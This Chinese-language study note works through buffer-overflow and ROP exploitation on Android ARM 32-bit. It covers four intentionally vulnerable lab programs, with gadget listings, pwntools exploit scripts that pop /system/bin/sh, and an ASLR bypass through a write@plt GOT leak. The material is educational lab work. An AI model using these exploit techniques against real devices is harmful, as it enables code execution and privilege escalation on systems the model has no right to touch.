0x00 前言
本文是蒸米的《一步一步学ROP之Android ARM 32位篇》读书笔记,自己动手做了一遍,记录了遇到不一样的地方和问题,4个程序全部运行成功。
0x01 简单的例子(level6)
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void callsystem()
{
system("/system/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
为了减少难度,我们先将stack canary去掉(在JNI目录下建立Application.mk并加入APP_CFLAGS += -fno-stack-protector)。随后用ndk-build进行编译。
ndk-build
adb push libs/armeabi/level6 /data/local/tmp/
adb shell
cd /data/local/tmp/
./socat TCP4-LISTEN:10001,fork EXEC:./level6
adb forward tcp:10001 tcp:10001
现在我们尝试连接一下:
$ nc 127.0.0.1 10001
Hello, World
发现工作正常。
因为callsystem()被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,最终exp如下:
#!/usr/bin/env python
from pwn import *
#p = process('./level6')
p = remote('127.0.0.1',10001)
p.recvuntil('\n')
callsystemaddr = 0x00008500 + 1
payload = 'A'*132 + p32(callsystemaddr)
p.send(payload)
p.interactive()
执行效果如下:
$ python level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
为什么是0x00008500?
Ida看的很清楚。
为什么是132?
进入函数前,程序先将LR寄存器(返回地址)入栈,然后开辟0x84(132)大小的栈空间,并且将栈顶指针赋值给了buf[128],将开辟的栈帧溢出即可覆盖到返回地址。
0x02 寻找thumb gadgets(level7)
原始程序
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char *str="/system/bin/sh";
void callsystem()
{
system("id");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
因为未知的原因,没有找到需要的gadgets,所以将sqlite3的源码添加进去,这样编译出来的level7有400多kb,找到的gadgets就多了。
./ROPgadget.py --binary=./level7 --thumb | grep "ldr r0"
0x00028fe6 : ldr r0, [sp, #0x10] ; add r6, pc ; adds r6, #0xfc ; ldr r4, [r6, #0x28] ; adds r1, r7, #0 ; ldr r2, [sp, #8] ; blx r4
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} ; movs r0, #0 ; bx lr
0x0004a6a2 : ldr r0, [sp, #0x10] ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x00038376 : ldr r0, [sp, #0x10] ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}
0x00034b42 : ldr r0, [sp, #0x10] ; add sp, #0x44 ; pop {r4, r5, r6, r7, pc}
0x00056ca4 : ldr r0, [sp, #0x10] ; adds r1, r4, #0 ; add r3, pc ; ldr r3, [r3, #0x1c] ; blx r3
0x0002cf62 : ldr r0, [sp, #0x10] ; adds r1, r4, #0 ; bl #0x19522 ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}
0x00028ffe : ldr r0, [sp, #0x10] ; adds r1, r7, #0 ; blx r3
0x0001a0fe : ldr r0, [sp, #0x10] ; adds r2, r6, #0 ; add r3, sp, #0x18 ; blx r4
0x0000e35c : ldr r0, [sp, #0x10] ; bl #0x18f88 ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x0000c0ae : ldr r0, [sp, #0x10] ; bl #0x18f88 ; add sp, #0x3c ; pop {r4, r5, r6, r7, pc}
在这些gadgets中,我们成功找到了一个gadget可以符合我们的要求:
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
接下来就是找system和"/system/bin/sh"的地址
要注意的是,因为system()函数在plt区域,并没有被编译成thumb指令,而是普通的arm指令,因此并不需要将地址+1。最终level7.py如下:
#!/usr/bin/env python
from pwn import *
#p = process('./level7')
p = remote('127.0.0.1',10001)
p.recvuntil('\n')
#0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
gadget1 = 0x00015234 + 1
#.rodata:00061EB5 aSystemBinSh DCB "/system/bin/sh",0
r0 = 0x00061EB5
#.plt:000093D4 ; int system(const char *)
systemaddr = 0x000093D4
payload = '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(systemaddr)
p.send(payload)
p.interactive()
执行方法同上。
payload = '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(systemaddr)
这条指令是怎么来的?
'\x00'*132 + p32(gadget1)解释同上
"\x00"*0x10对应ldr r0, [sp, #0x10]的[sp, #0x10]部分
p32(r0)对应ldr r0, [sp, #0x10]的ldr r0部分
填充数据"\x00"*0x18计算方法:
add sp, #0x1c ; 回收0x1c个字节栈空间
pop {r4, r5, r6, r7, pc} 出栈0x4*4个字节,然后到pc寄存器
因此需要的填充数据个数为: 0x1c + 0x4*4 - "\x00"*0x10 - 0x4(p32(r0)) = 0x18
0x03 Android上的ASLR(level8)
Android上的ASLR其实伪ASLR,因为如果程序是由皆由zygote fork的,那么所有的系统library(libc,libandroid_runtime等)和dalvik - heap的基址都会是相同的,并且和zygote的内存布局一模一样。
假设我们已经知道了目标app的libc.so在内存中的地址了,那么应该如何控制pc执行我们希望的rop呢?OK,现在我们现在来看level8.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void getsystemaddr()
{
void* handle = dlopen("libc.so", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout); // 输出system地址
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
getsystemaddr();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
这个程序会先输出system的地址,相当于我们已经获取了这个进程的内存布局了。接下来要做的就是在libc.so中寻找我们需要的gadgets和字符串地址。因为libc.so很大,我们完全不用担心找不到需要的gadgets,并且我们只需要控制一个r0即可。因此这个gadgets能满足我们的需求:
0x00033602 : ldr r0, [sp] ; pop {r1, r2, r3, pc}
接下来就是在libc.so中找system()和"/system/bin/sh"的位置:
需要根据system()在内存中的地址进行偏移量的计算才能够成功的找到gadgets和"/system/bin/sh"在内存中的地址。除此之外,还要注意thumb指令和arm指令的转换问题。最终的exp level8.py如下:
#!/usr/bin/env python
from pwn import *
#p = process('./level8')
p = remote('127.0.0.1',10001)
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
p.recvuntil('\n')
raw_input()
#.text:0001D080 EXPORT system libc
#0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}
gadget1 = system_addr + (0x00034ace - 0x0001D080)
print "gadget1 = " + hex(gadget1)
#.rodata:00040AC8 aSystemBinSh DCB "/system/bin/sh",0 libc
r0 = system_addr + (0x00040AC8 - 0x0001D080) - 1
print "/system/bin/sh addr = " + hex(r0)
payload = '\x00'*132 + p32(gadget1) + p32(r0) + "\x00"*0x8 + p32(system_addr)
p.send(payload)
p.interactive()
执行方法同上
Payload计算方法同上
0x04 Android上的information leak(level9)
在上面的例子中,我们假设已经知道了libc.so的基址了,但是如果我们是进行远程攻击,并且原程序中没有调用system()函数怎么办?这意味着目标程序的内存布局对我们来说是随机的,我们并不能直接调用libc.so中的gadgets,因为我们并不知道libc.so在内存中的地址。其实这也是有办法的,我们首先需要一个information leak的漏洞来获取libc.so在内存中的地址,然后再控制pc去执行我们的rop。现在我们来看level9.c:
原始程序:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
同样使用sqlite3拓展代码。
虽然程序非常简单,可用的gadgets很少。但好消息是我们发现除了程序本身的实现的函数之外,我们还可以使用write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为android和linux类似采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。
0x00028fb6 : ldr r0, [sp, #0x10] ; add r6, pc ; adds r6, #0xfc ; ldr r4, [r6, #0x28] ; adds r1, r7, #0 ; ldr r2, [sp, #8] ; blx r4
0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} ; movs r0, #0 ; bx lr
0x0004a672 : ldr r0, [sp, #0x10] ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x00038346 : ldr r0, [sp, #0x10] ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}
0x0001055c : pop {r0, r2, r6, pc}
0x00048724 : pop {r0, r3, r6, r7, pc}
0x00013fc2 : pop {r1, r2, r3, pc}
#!/usr/bin/env python
from pwn import *
#p = process('./level7')
p = remote('127.0.0.1',10001)
p.recvuntil('\n')
raw_input()
#0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
gadget1 = 0x00015204 + 1
#0x00013fc2 : pop {r1, r2, r3, pc}
gadget2 = 0x00013fc2 + 1
#.text:000127C8 vulnerable_function
ret_to_vul = 0x000127C8 + 1
#write(r0=1, r1=0x0006BF38, r2=4)
r0 = 1
r1 = 0x0006BF38
r2 = 4
r3 = 0
r5 = 0
r6 = 0
#.plt:0x00009404 write
write_addr_plt = 0x00009404
payload = '\x00'*132 + p32(gadget1) + '\x00'*0x10 + p32(r0) + '\x00'*0x18 + p32(gadget2) + p32(r1) + p32(r2) + p32(r3) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul)
p.send(payload)
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
#.rodata:00040AC8 aSystemBinSh DCB "/system/bin/sh",0 libc
#.text:0001D080 EXPORT system libc
#.text:00039168 EXPORT write libc
r0 = write_addr + (0x00040AC8 - 0x00039168) - 1
system_addr = write_addr + (0x0001D080 - 0x00039168) # no +1
print 'r0=' + hex(r0)
print 'system_addr=' + hex(system_addr)
payload2 = '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(system_addr)
p.send(payload2)
p.interactive()
Payload计算方法:
前面部分同前
'\x00' * 0x84 + p32(ret_to_vul)
BLX read后
ADD SP, SP, #0x84
POP {PC}
第一次溢出后,再次返回vulnerable_function,准备第二次溢出
执行方法:
r0 = write_addr + (0x00040AC8 - 0x00039168) - 1
system_addr = write_addr + (0x0001D080 - 0x00039168) # no +1
作者的原版r0行没有-1,我运行的结果是不减一指向的字符串是”system/bin/sh”, 缺少一个’/’。
system_addr行原版+1,我运行的结果是+1程序奔溃。